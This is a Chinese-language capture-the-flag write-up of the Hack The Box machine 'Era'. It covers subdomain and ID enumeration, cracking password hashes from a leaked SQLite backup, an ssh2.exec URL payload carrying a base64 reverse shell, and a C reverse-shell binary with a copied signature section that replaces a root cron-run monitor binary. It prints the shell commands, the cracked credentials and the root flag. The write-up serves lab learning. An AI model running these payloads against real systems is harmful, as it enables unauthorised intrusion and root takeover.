Era
第一步用nmap进行扫描 1 nmap -sV -sC -Pn --min-rate 2000 10.10.11.79 --verbose
发现有21,80端口。那就访问一下80端口,发现无法访问,那就添加到/etc/hosts里面。
1 echo '10.10.11.79\tera.htb' | sudo tee -a /etc/hosts
找一找,抓抓包,发现没什么可以利用的,那就扫下其他文件和子域名。
1 2 3 4 python dirsearch.py -u http://era.htb/ ffuf -w fuzzDicts/subdomainDicts/main.txt -u http://era.htb/ -H "Host: FUZZ.era.htb"
发现了一个file的子域名。无法访问,添加到/etc/hosts中。
1 2 3 echo '10.10.11.79\tfile.era.htb' | sudo tee -a /etc/hostsffuf -w ../fuzzDicts/subdomainDicts/main.txt -u http://era.htb/ -H "Host: FUZZ.era.htb" -fw 4
但是需要登录,那就扫扫file.era.htb看看有没有其他的文件。
1 2 python dirsearch.py -u http://file.era.htb/
有个register.php,进去看看是不是能注册。 注册之后,可以登录。并且可以上传文件,那就上传一个脚本看看。 发现有编号。 那其实可以看看都有什么文件。
1 2 3 4 5 6 7 8 9 seq 4000 > num.txtffuf -u 'http://file.era.htb/download.php?id=FUZZ' -w ../../Downloads/num.txt ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -w ../../Downloads/num.txt -H "Cookie:PHPSESSID=iv03adftavqoviaa3q3aj9ffvn" ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -w ../../Downloads/num.txt -H "Cookie:PHPSESSID=iv03adftavqoviaa3q3aj9ffvn" -fw 3161
有两个文件被搜到,下载到本地看一看。
在site-backup里面有个数据库文件,看一看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 sqlite3 filedb.sqlite sqlite> .tables files users .schema users CREATE TABLE users ( user_id INTEGER PRIMARY KEY AUTOINCREMENT, user_name varchar(255) NOT NULL, user_password varchar(255) NOT NULL, auto_delete_files_after int NOT NULL , security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255)); SELECT * FROM users echo 'admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2. john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6 ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC' > hashes.txtjohn --wordlist=../tools/rockyou.txt hashes.txt john --show hashes.txt eric:america yuri:mustang
有这两个账户登录看看,发现也没什么有用的,看看文件夹里其他的php。security_login.php,网页登录看看。之前发现了admin账户的一些认证问题,登录看看。发现也没什么,之前有个21端口开着,看看ftp能不能登录。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 ftp 10.10.11.79 Name (10.10.11.79): yuri 331 Please specify the password. Password: 230 Login successful. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf 226 Directory send OK. ftp> cd apache2_conf ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 1332 Dec 08 2024 000-default.conf -rw-r--r-- 1 0 0 7224 Dec 08 2024 apache2.conf -rw-r--r-- 1 0 0 222 Dec 13 2024 file.conf -rw-r--r-- 1 0 0 320 Dec 08 2024 ports.conf ftp> cd php8.1_conf 250 Directory successfully changed. ftp> ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 3 0 0 4096 Jul 22 08:42 . drwxr-xr-x 4 0 114 4096 Jul 22 08:42 .. drwxr-xr-x 2 0 0 4096 Jul 22 08:42 build -rw-r--r-- 1 0 0 35080 Dec 08 2024 calendar.so -rw-r--r-- 1 0 0 14600 Dec 08 2024 ctype.so -rw-r--r-- 1 0 0 190728 Dec 08 2024 dom.so -rw-r--r-- 1 0 0 96520 Dec 08 2024 exif.so -rw-r--r-- 1 0 0 174344 Dec 08 2024 ffi.so -rw-r--r-- 1 0 0 7153984 Dec 08 2024 fileinfo.so -rw-r--r-- 1 0 0 67848 Dec 08 2024 ftp.so -rw-r--r-- 1 0 0 18696 Dec 08 2024 gettext.so -rw-r--r-- 1 0 0 51464 Dec 08 2024 iconv.so -rw-r--r-- 1 0 0 1006632 Dec 08 2024 opcache.so -rw-r--r-- 1 0 0 121096 Dec 08 2024 pdo.so -rw-r--r-- 1 0 0 39176 Dec 08 2024 pdo_sqlite.so -rw-r--r-- 1 0 0 284936 Dec 08 2024 phar.so -rw-r--r-- 1 0 0 43272 Dec 08 2024 posix.so -rw-r--r-- 1 0 0 39176 Dec 08 2024 readline.so -rw-r--r-- 1 0 0 18696 Dec 08 2024 shmop.so -rw-r--r-- 1 0 0 59656 Dec 08 2024 simplexml.so -rw-r--r-- 1 0 0 104712 Dec 08 2024 sockets.so -rw-r--r-- 1 0 0 67848 Dec 08 2024 sqlite3.so -rw-r--r-- 1 0 0 313912 Dec 08 2024 ssh2.so -rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvmsg.so -rw-r--r-- 1 0 0 14600 Dec 08 2024 sysvsem.so -rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvshm.so -rw-r--r-- 1 0 0 35080 Dec 08 2024 tokenizer.so -rw-r--r-- 1 0 0 59656 Dec 08 2024 xml.so -rw-r--r-- 1 0 0 43272 Dec 08 2024 xmlreader.so -rw-r--r-- 1 0 0 51464 Dec 08 2024 xmlwriter.so -rw-r--r-- 1 0 0 39176 Dec 08 2024 xsl.so -rw-r--r-- 1 0 0 84232 Dec 08 2024 zip.so http://file.era.htb/download.php?id =54&show=true &format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27printf%20KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDQ0ICAwPiYxKSAm|base64 %20-d|bash%27;
提权 先把linpeas传上去,执行看看哪些地方可以提权。
后面不知道咋做了,网上搜到大佬的笔记,上传pspy查看进程。
1 2 3 wget http://10.10.16.3:9999/pspy64 pspy
丢给GPT。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 CRON 任务执行 UID=0 PID=64453 | /usr/sbin/CRON -f -P root 用户(UID=0)运行的 CRON 守护进程 -f 表示前台运行 -P 是 CRON 的日志输出标志 bash 执行脚本 /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1 CRON 调用 bash 来执行 /root/initiate_monitoring.sh 输出和错误都重定向到 /opt/AV/periodic-checks/status.log 多条类似命令显示脚本被重复或周期性调用 objcopy objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor root 运行的 objcopy 命令 从 /opt/AV/periodic-checks/monitor 可执行文件中导出 .text_sig 段到 text_sig_section.bin 可能是 AV 或监控程序用来验证二进制完整性 监控程序 /opt/AV/periodic-checks/monitor AV 或监控程序自身执行 可能由 CRON 脚本触发
关键就是以root权限执行咱们反弹shell,那就先编写一个可执行的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 file monitor monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped int main () { system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.3/5555 0>&1'" ); return 0; } gcc ex.c -o ex wget http://10.10.16.3:9999/ex objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor objcopy --add-section .text_sig=text_sig_section.bin ex rm monitormv ex monitorncat -lvnp 5555 Ncat: Version 7.97 ( https://nmap.org/ncat ) Ncat: Listening on [::]:5555 Ncat: Listening on 0.0.0.0:5555 Ncat: Connection from 10.10.11.79:38388. bash: cannot set terminal process group (65499): Inappropriate ioctl for device bash: no job control in this shell root@era:~ answers.sh clean_monitor.sh initiate_monitoring.sh monitor root.txt text_sig_section.bin root@era:~ 05ee929a181ae44e2282d82ff12eb7ba
又学到了T_T